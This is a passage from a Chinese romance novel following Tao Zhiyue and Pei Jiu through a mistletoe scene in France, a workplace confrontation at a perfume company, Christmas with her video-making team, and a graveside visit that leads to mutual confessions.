在闷热的夏季,窗户开着一条小缝,热气鬼鬼祟祟地溜进来,又被吱呀呀转的旧风扇赶出去。她的眼睛映出电脑的反光,只要摆弄鼠标和按键,人物就会随着自己的意志移动。
游戏地图上总有各种地标和建筑,她总是认定一个点,随后翻山越岭过去,以此消磨一整个下午。
这样纯粹、无用的事,已经很久没有做过。
晃神间,手中空空荡荡。
陶织悦转身去看,发现自己一个人走到了死胡同。
什么时候走散的,她浑然不知。
她从死胡同钻里出来,尝试顺着来时路找到对方。她喊他的名字,却听不到任何回应。
就这样悄悄的,猝不及防地消失了。
熟悉的不安感捏着她的心脏,指尖顺势攥紧了裙边。
耳边有扑腾的动静,她大喜过望地跑过转角,见到一个小小的黑影蹲在灌木丛上。察觉到人的出现,那只鸟挥震翅膀,腾空飞走。
她快点回到原来那个地方,应该能找到他。
陶织悦向着起点跑起来,生怕他已经走到其他的分叉口,扬起一阵风。
然而她转过几个弯,眼前的路更加扑朔迷离。
放眼望去全是玫瑰灌木。月亮已经藏在云后。唯一的指向标,只有远处的那棵大树。
对啊。
为什么一定要在过去的路上找
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对方呢?
或许他在终点的树下等着她过去呢?
心上明了,她忽然又有了上路的信心。
这次她一百八十度调转方向,向着那棵大树去。
有了一个明确的方向,脚下的路也清晰多了。只要一条小路不通,她就换一条方向相近的路,距离就这样慢慢缩减。
她终于到树下,气喘吁吁。
脚下一软,重心倾覆就要摔一跤。
她的胳膊被拉住,像给一艘风雨中的小船下了船锚一样,稳稳把她固定住。
裴究手疾眼快地拉住她,顺手把她乱蓬蓬的发拢好,勾到耳后。
“找到你了。”她笑眯眯地望着他。
“嗯,找到了。”他点头,眼睛不再从她脸上移开。
陶织悦走近那棵树,探头探脑地转了一圈,有点失望。
“只是一棵普通的乔木,比较大而已。”她坐在树下的长椅上,捶捶自己的腿。
她抬头问:“你也没来过这里吧?不然就知道这里没什么好看的了。几点了?”
裴究没戴手表,把手机递给她。
屏幕一亮,已经是晚上十点多了。
然而更引人注目的是他的锁屏壁纸——那张她和裴究在雪山下的合影。
阮沂几个小时前刚发的图,他就已经设置好了。
“你怎么快就把图偷过来了?”
“这照片上不也有我吗?”他理直气壮地收回手机,“拿自己的照片,也算偷吗?”
陶织悦不再理会他的贫嘴,晃悠着两条腿往后靠,躺在椅背上。
“今晚怎么没有星星,真煞风景。”她盯着黑漆漆的天,打了个哈欠。
又是运动又是微醺,实在是累了。
她迷糊地眨眼,困意上涌。
白天还是晴空万里,晚上却没见到月亮。裴究也没想明白。
他望一眼天,却看到灯下有飞絮飘舞。
不像是趋光的小虫子,反倒像是——雪花。
有一小片落到他的鼻尖,凉凉的。细小的雪一点一点地落下来,不细心则难以察觉。
这是法国今年的第一场雪,就这样猝不及防地降临。
他垂头,身边的人早已睡了过去,呼吸平稳。
有点失落,他无奈地笑了。
裴究抬手,将她的脑袋扶到自己的肩上,独自看着雪片飘转着落下。
其实他来过这里,也知道这棵树只是一棵普通的乔木。唯一特别的,是这棵乔木上寄生了一大丛槲寄生,就在他们的头顶。
可惜天太黑,她没有发现。
裴究想起很多年前,一起干活的同行和他开玩笑,告诉他:几年后要带着自己喜欢的女孩来这里,这样她就无法拒绝自己的亲吻。
在槲寄生下必须接吻,是北欧人心照不宣的传统。人们相信,在结果的槲寄生下亲吻的情侣可以共度一生。
他没有得到初雪的那个承诺,心想着应该弥补一些什么。
难得地紧张起来,他搭在椅边的手不自觉蜷起来,嘴唇抿起,心也不稳地乱跳。
近了,近了。
他咽了下唾沫,盯着那柔软红润的唇瓣,又犹豫起来。
纠结了几秒,他认命地叹气,只是在额头上轻轻落下一吻。
“晚安。”他说。
22. 圣诞节
森德瑞大楼的顶层会议室。
项目汇报人正站在显示屏前,阐述新系列产品在中国的推进情况。
根据用户反馈和产品销量的数据来看,都收获了超乎预期的成果。尤其是和“指月”团队合作的宣传片,还引发了一阵法国旅游热潮。
会议决定继续任用目前的负责人裴究,承担中国分部的事务。
散会后,裴究被身后的史密斯汀叫住。
“恭喜你,成功推行了你的CHINA路线。”他从始至终没有离开椅子,只是状似平静地“祝贺”他。
裴究知道,他是没招了。
他本来不打算再纠缠,毕竟他可以就此留在国内了。而史密斯汀年纪不小,再过几年也该退休了。他们大抵不会再见了。
但他还是没有直接离开。
“森德瑞分部会在中国发展得不错,我会帮你把法式香水带过去。”他说。
法国男人向后倒在椅背上,有一点颓然:“你们那些乱七八糟的改良和所谓的‘本土化’,已经把它变得不再纯粹了。”
史密斯汀对传统法国香水有着信仰一般的虔诚。他来自一个偏远的小镇,那里传承着最悠久的香水工艺。他的面包、学费、路费乃至所有童年,都是由一瓶一瓶香水搭起来的。
他相信没有人比他更懂法式香水。
裴究认真起来:“世界上唯一不变的只有变化。森德瑞需要变化,才能走得更远。”
史密斯汀愣了一下,随即嘲讽地笑出声。
“你和那个拍片子的中国女人真是一样。”他再也抑制不住心里的愤懑,“我看见你们跳舞了,你们关系不一般吧?说不定这个合作也是她用……”
“你把嘴巴放干净点!”裴究沉声打断了他,“是森德瑞选的她,不是其他的任何原因。”
他被这个突然的厉声晃了神,难得见到对方失态的样子。
几秒后,裴究收敛住自己的情绪,冷静下来。
“我知道你对项目动了点手脚。”他的面部肌肉有些紧绷,眼神也变得凌厉,“史密斯汀,我现在还在这里和你说几句话,只是因为——当初是你带着我进森德瑞的。”
桌上的手机屏幕一亮,他扫一眼那消息,眉头皱得更紧。
史密斯汀一下了然,幽幽道:“是你家里又再叫你回去了吧。小少爷,你应该听家里人的话,回去继承家业,而不是这样自私地一意孤行。”
裴究拾起手机,不愿多说。
他走到门口,又定住身形。
“像你一样听话吗?”他留下这句话,又迈步消失了。
徒留这个中年男人坐在原地,久久没有动弹。
他的呼吸放慢,像一座雕像立在那里。
空荡的安静之中,他忽然癫狂起来,手臂一扫,将桌上的东西都掀翻在地。
他什么都知道!他什么都知道!
他明明是自己带入行业的,竟然看出来自己对香水的爱恨交加。
史密斯汀无力地抱住头,回想起儿时被逼迫着学习制作手工香水。他厌倦了川流不息的采花、洗花、一遍一遍用酒液泡花、一遍一遍过滤花露,蒸馏萃取花液。
他讨厌自己浑身都浸染上恶心的甜腻味,双手泡在水中皱得发白。
可是家乡所有人都靠香水谋生,尤其是他家——全镇香水做得最好的一户。当他说自己不想做香水时,父亲只是打了他一耳光。
父亲揪着他的耳朵,低语着告诫他:他的吃穿用度都是香水堆砌的,他必须一辈子做家乡的香水,最好的香水,必须。
这些话烙进他的骨头,成为他的生长痛,跟着他一起长大,衰老。
史密斯汀也会将这样的信念带入棺材。
*
“啊啾!”陶织悦打了个喷嚏,顺手抽张纸洗鼻涕。
自前两天从庆功宴回来,她就成功地感冒了。
裴究发来消息慰问她的情况,说项目已经落地,忙着开各种大会小会,没时间来看她了。
森德瑞的新香水带着宣传片已经上线,与此同时他们账号的法国行视频也同步发布,收获了不少好评。
阮沂抓住这波流量,趁机把“指月人间”的影响力又扩了一圈。
眼下到了圣诞节,几个人商量着不如先留在法国,再拍个圣诞节的小短片,算是加更来为热度添一把柴。
街上已经很热闹,大街小巷都挂上了红绿相间的圣诞装饰,各种灯带、发光星星、铃铛成片地点缀在白雪上。每隔十几步就会有一棵圣诞树,像卫兵一样在街头站岗。
陶织悦包得像只忘记冬眠的小熊,以至于走路都显得笨拙。
米菲正把摄像机对准圣诞集市上的可丽饼小摊,另外三人已经吃开了。
广场中央立着一棵巨型圣诞树,足有十几米高。陶织悦从兜里摸出手机,拍两张照,发到聂乐言的聊天框。
拍摄宣传片的间隙,她每到一个地方就找一家手机店维修,总算是有了好结果。
聂乐言很快回复,发来一张小米和豆豆的合照。一猫一狗都带上了圣诞帽和红围巾,对着镜头好奇地嗅。
【聂乐言】:法国的圣诞节好隆重啊,好漂亮~
【陶织悦】:嘻嘻嘻嘻圣诞小猫和小狗也超级可爱!
裴究找到她的那天上午,就向聂乐言报了平安。
手机修好的那一天,满屏的未接来电霸占了弹窗,她立刻向聂乐言打去了电话。
念念叨叨地说了一通琐事,比如发现拍片过程中碰到糟糕的意外,一行人连夜买火车票溜走,然后发现裴究是自己的甲方,拍片的时候碰到凶狠的保安……
就这样你一句我一语,那些堵在胸腔的乌云都变成潺潺流水,豁然开朗。
她感恩聂乐言的出现,伴她度过大学直到现在的时光。
“桃子姐!”
她的肩被猛拍一下,差点没拿稳手机。
阮沂嘴里还塞着巧克力可丽饼,忙把自己的手机递到她面前。
她低头一看,是他们账号所在的平台E站发来一封邀请函。
往年E站也都会给他们发邀请函,请他们做E站年底盛典的参典嘉宾,而每年都是阮沂以助理的身份代表“指月人间”出席。
阮沂把嘴里的可丽饼
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咽下去,激动道:“今年不一样!E站要把文化生活区的年度最佳影响力奖颁给我们!指明要你亲自去领!”
陶织悦只在幕后工作,从来不参与线下活动,在E站更是神龙见首不见尾。阮沂在花絮中发出她的背影照,引起了不小的站内讨论,E站估计也是想借她营销一波流量。
她把目光放向另外三人,三人都眼巴巴地望着她。
E站是国内相当大的视频平台,能获得这个奖项,也算是得到了业内的认可。
“今年是E站十周年,年底盛典肯定特别隆重。我们的事业巅峰就靠你了,桃子姐。”阮沂兴奋地抱住她的胳膊扭来扭去,“去吧去吧。”
虽然还没做好暴露在公众视野下的准备,但这无疑是双赢的局面。
陶织悦叹了口气:“E站都这么发话了,我们只能遵命了。”
几人欢呼一声,勾搭着她去逛集市了。
*
圣诞夜少不了热红酒,但陶织悦感冒了,只能和它无缘。
几人微醺着打牌,她就窝在沙发上发呆。
年关将至,大小聚会也都提上日程。
许久不怎么热闹的高中班级群,因为班长提出的“同学聚会”再次复活。
聚会地点在高中附近的一家餐馆。陶织悦过年是要回去的,况且E站的盛典也在附近,参加个聚会是顺手的事。
那个人,会来参加同学聚会吗?
陶织悦退出班级群,下面一个聊天框就是裴究。但是他这几天忙得很,他们已经三四天没见了,上次发消息给她还是半夜。
他会腾出时间参加这个小小的,没有太大意义的聚会吗?
陶织悦在沙发上翻了个身,抓起抱枕垫在身前。
可是他要是跟她一起回去,两人要怎么相处?还是前男女友的关系吗?虽然已经解开误会,但还是没有找到机会复合。
庆功宴结束后那天,她一觉睡醒,打开手机才发现昨晚下了雪。他们约定好的那个节点,就这样阴差阳错地错过了。
那晚就不该多喝那口酒,还不如渴死在古堡里。她懊恼锤了几下抱枕。
想了想,她还是打开聊天框,问他有没有时间。
等了很久都没有回复。
她就这样又翻了个身,放下手机,去揪那抱枕上的浮毛。
她就这样眼巴巴地等着,似乎只是某个平凡的午后约他出来。
旁边的几人打牌打得越发放肆,嬉戏打闹的声音灌满整个房间。
窗外的雪不停下,街上人头攒动,都在等待午夜十二点点亮广场的圣诞树。
她渐渐困了。
看看时间,还有一分钟就到零点。
随着人们齐声倒计时,巨大的圣诞树顷刻间亮起,甚是壮观。
人们簇拥着街头的火树银花,一片熙攘。烟花也在此刻应景地升天,将华光隔着玻璃打在她的脸上。
陶织悦被氛围感染着,忍不住要向他道一声圣诞快乐。
她点开手机,裴究的“圣诞快乐”却已经率先抵达。
他随即马上回复:
“有时间。”
23. 坦白
同学聚会踩着年关的尾巴,定在了除夕的前两天,正好在E站盛典的前一天。
郁阳不回来,只在除夕那晚打视频电话。陶织悦就住在舅舅家。
今天就是年二十七。她提着行李箱下楼。
那辆熟悉的黑色轿车就停在小区门口,见了她,缓缓打开后备箱。
裴究从驾驶位下来,帮她把行李放进去。
“你怎么有闲情逸致跟我一起回去?”陶织悦顺势坐上副驾。
“因为有劳动法,森德瑞也是有年假的。”
身侧的人落座,系上安全带,还塞给她一个靠枕。
“我回家住舅舅那里,你住哪?”陶织悦有点小心地问。
他肯定不回裴家,巴不得离那里越远越好。
“这么关心我?”裴究不正经地笑,又解释道,“朋友有家酒店,邀请我去那住,就当旅游了。”
车子一路驶出,路边的树梢已经挂上了成串的红灯笼。
“大过年的住酒店里,会不会有点太可怜了?”她开个玩笑。
“在哪都一样。”他简短回答,意味不明地看她一眼,“今年更好。”
最起码今年再不是一个人。
这句话他没说,只是问:“今晚聚会,下午还有什么安排吗?”
“……有。”陶织悦握紧手里的照片,低头去看。
在这定格的瞬间,外婆的眼睛还在慈爱地抚慰她。
*
墓园管理员坐在保安亭里打瞌睡。
街上很冷清,今早有零零散散几号人来看望逝者。一个街坊来唠了几句,除此外再没什么人来。
他站完这班岗,也要下班回家了。
“你好。”陶织悦探头,朝保安亭挥挥手。
管理员如梦初醒,操纵着感应门,让这一男一女进去。
这里的冬天几乎不下雪,但还是有几分刺骨的寒意。两人不自觉地贴着走,呼出的白雾也发散着混合在一起。
冷冷清清的园子里阡陌纵横,一座座墓碑将大地切割成许多小块。循着记忆里的位置,她找到了那一方属于外婆的地界。
名讳被镶金着镌刻在石碑上。她蹲下来,也不说话,只是平静地拭去碑上的灰。
来之前有满腹心事要倾吐,可真正站在外婆面前,却又无话可说。
日头从云后冒出,肢体渐渐回暖。她拍拍手上的灰,抬头去看,才发现是裴究站在风口处。男人的黑色大衣低垂,将她罩了个严实。
她正要开口和他说话,石碑后就传来一阵嘁嘁声。
陶织悦小心地凑上去,难道是什么小动物?
一只白嫩的小手忽然抓住碑边,随后探出一张孩童的脸。是个小女孩,约莫三四岁。
她眨巴眼,安静地盯着他们,眼睛像两颗水汪的黑葡萄。
陶织悦吓了一跳,询问:“你在这干什么呢?”
小女孩不哭不闹,小声道:“我找妈妈。”
走丢了?陶织悦抬头和裴究对视一眼,都明白了对方的意思:先帮孩子找下家长。
“你妈妈在哪?”裴究顺势蹲下来,语气也柔和下来。
“妈妈。”小女孩盯着陶织悦,叫了一声。
“啊?”陶织悦忍不住笑场,“小宝贝,我不是你的妈妈。”
她换个方向,问道:“那你爸爸呢?”
小女孩懵懂地把脑袋转向裴究,有点不确定:“爸爸?”
两人突然喜当爹娘,陶织悦只好先把孩子抱在怀里。
“那你和妈妈来做什么?”陶织悦继续循循善诱,想套出小女孩妈妈可能出现的地方。
小女孩伸出一根手指,戳墓碑上的名字。
“看姐姐。”
“哦——原来是这样。”陶织悦握住她的小手,“不过你的姐姐不在这里哦。”
“那是谁?”
“这里是我的外婆。”陶织悦站起来,把怀里的孩子踮了踮。
“那,”小女孩点点头,“那你把外婆种在这里,她什么时候能长出来?”
她一下愣住,心被击中般柔软地酸胀着,喉头发紧。
讨厌,怎么一本正经地讲这种可爱的话。
“她……她到春天的时候就会回来了。”她抿出一个笑,却眼眶湿润。
话还没说完,泪珠先断线地落下来,砸进泥土里。
“你怎么哭了?”小女孩歪头看她,一双小手在她脸上抹出几处黑灰。
怀里一轻,裴究把孩子接过手。他只需要单手就能稳稳搂住怀里的小家伙,手臂弯出紧实壮硕的曲线。
“她在浇水。”他耐心地说,腾出一只手去拭她颊边的黑灰。
粗粝的指腹刮去她脸上的污渍,流连至她的眼角,又停下来。
“悦悦!悦悦!”远处一个女人呼唤着走来。
怀里的小女孩也兴奋地蹬起来,两人才发现女人和陶织悦的上衣颜色是一样的。
难怪孩子会认错人。
“不好意思,我家小孩乱跑。”女人抱走悦悦,肉眼可见地松了口气。
“好巧,我名字里也有一个悦。”陶织悦微笑,却没见女人身后有人追来。
一个女人带着孩子来墓园,确实有些不方便。
“要不要我们帮你干点什么?”她顺口问。
女人摆摆手:“不用了,我们已经弄完了。”
顺着女人的手势,两人看见一片挂满了粉色蝴蝶结和粉色花束的墓地。这片娇美的粉在灰白的墓园里十分突出,是唯一明亮的色彩。
她的姐姐生前一定是个很可爱的女孩。
裴究微微皱眉:“孩子爸爸呢?怎么没跟来?”
女人略带遗憾地笑一下,指指旁边那座墓碑。
“她爸爸在那呢。”
原来孩子父亲是死在火灾里的消防员,而大女儿是不久前突遭意外离开的。
面对裴究的道歉,女人释怀地摇摇头,抱着孩子渐行渐远。
寂静之中,陶织悦望着那背影出神。
她喃喃道:“她也是个没有爸爸的孩子。”
话刚说完,她的手就被握住了。
陶织悦拍拍他的手背,表示自己没事。
悦悦还有妈妈在身边,还不算一无所有。
只是她突然想起了郁阳。
郁阳在遥远的那里,还好吗?
“你知道吗?其实我有点想她。”
陶织悦慢慢向外走,裴究就跟上去。
身侧那人平和地说:“这没什么,可以说出来。”
“那我有好多东西都没说。”她傻傻地笑了,“有好多乱七八糟的心情。”
“为什么?”
“因为……大家都很忙,都很辛苦,都有自己的人生要过。而且,说出来有点丢人。”
就像郁阳不会因为她的想念就留下来一样。
她的妄想会显得幼稚而单薄。
“那你可以告诉我,”裴究捏捏她的手,“我也有很多秘密可
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以和你交换。然后你就会发现,其实我也不是什么好东西。”
陶织悦盯着他行走的皮鞋,鞋头光洁而流亮。
“其实我曾经面对你,自卑过。”
她抬头,缓慢地说。
这是裴究意料之外的事,他敛神等着她继续说下去。
“就是这样一双鞋。妈妈要好久才能给我带一双,你能轻易得到更好的,即使你并不需要。我们站在一起的时候,我好像总显得有点可怜。”
她越说越轻,步子也慢下来。
一桩少女心事,现在说来还有点难为情。
天色渐暗下来,两人出了门沿着马路走。
裴究神色认真,望着她的眼睛:“陶织悦,那只是一双鞋。”
它可以不代表权势,不代表富有,不代表高人一等。
它只是一双鞋,一个纯粹用于保护人类双脚的工具。
他低头笑一声:“那轮到我了。”
“其实我一得到回国发展的机会,就去打听了你住在哪。当时那位开酒店的朋友向我推荐了很多楼盘,看到我最后选择的住址,发消息骂了我好久。”
“我当时不敢马上去找你,但能跟你近一点,也是好的。或许有一天,我会在楼下的便利店遇到你。只要有这一刻的期待,我就足以慰籍。”
“再见到你的时候,我也很意外。”他的神色带上点懊恼,“在一个莫名其妙的午后,还碰上了雨天,弄得那么狼狈,一点也不像我预想中的。”
“但你向我走来的时候,我还是有点兴奋。即使过了这么多年,你还是选了我。”
他戳戳自己的胸口。
“这里,有点痒痒的。”
陶织悦撇嘴:“一点也看不出来。我还以为你只是单纯给我个面子,然后我们就会一拍两散。”
“如果我真的毫不在乎,那天怎么会上你的后座。我的西装很贵。”
他恨铁不成钢地骂一句:“木头。”
陶织悦没话说,老老实实挨着。
“中秋那天,我想去找你,结果在门外看到你和一个小男生拍照,你们很开心。”
她的手心被愤愤地掐了下,轻微的疼。
“但我很不高兴。你真可恶,陶织悦。”
“你一声不吭去法国也让我害怕。”裴究眉眼低敛,又开始摩挲她的掌心,“我怕你在哪个角落出了意外,从此人间蒸发,我再也找不到你。”
他想起那个荒唐的梦,眼神怔了一瞬,又马上回神。
“陶织悦,别再随便消失了。”
陶织悦愣愣地盯着他,咧开一个笑,越来越开怀。
“我们明明认识很久了,但好像没有真正了解对方。”
真是奇怪,即使当过年少时最亲密的恋人,依旧还有许多未言明的心思。
“但你还没交代完呢,”在对方疑惑的表情里,陶织悦眉梢微动,“我看到那张照片了。”
那张小小的,旧旧的,被裱起来的照片。
男人罕见地语塞,把脸扭过。
“你是不是早就看上我了,嗯?”陶织悦踮起脚凑过去,想看他的表情,“你在法国的时候是不是很寂寞,天天想我?”
她刚把脑袋挤过去,就被对方的大手掌推开。
“很遗憾,没时间说了。”裴究揣起手,气定神闲地看她。
陶织悦不服气:“为什么?”
男人指指他们身边的餐馆招牌。
他们已经走到聚会的地方了。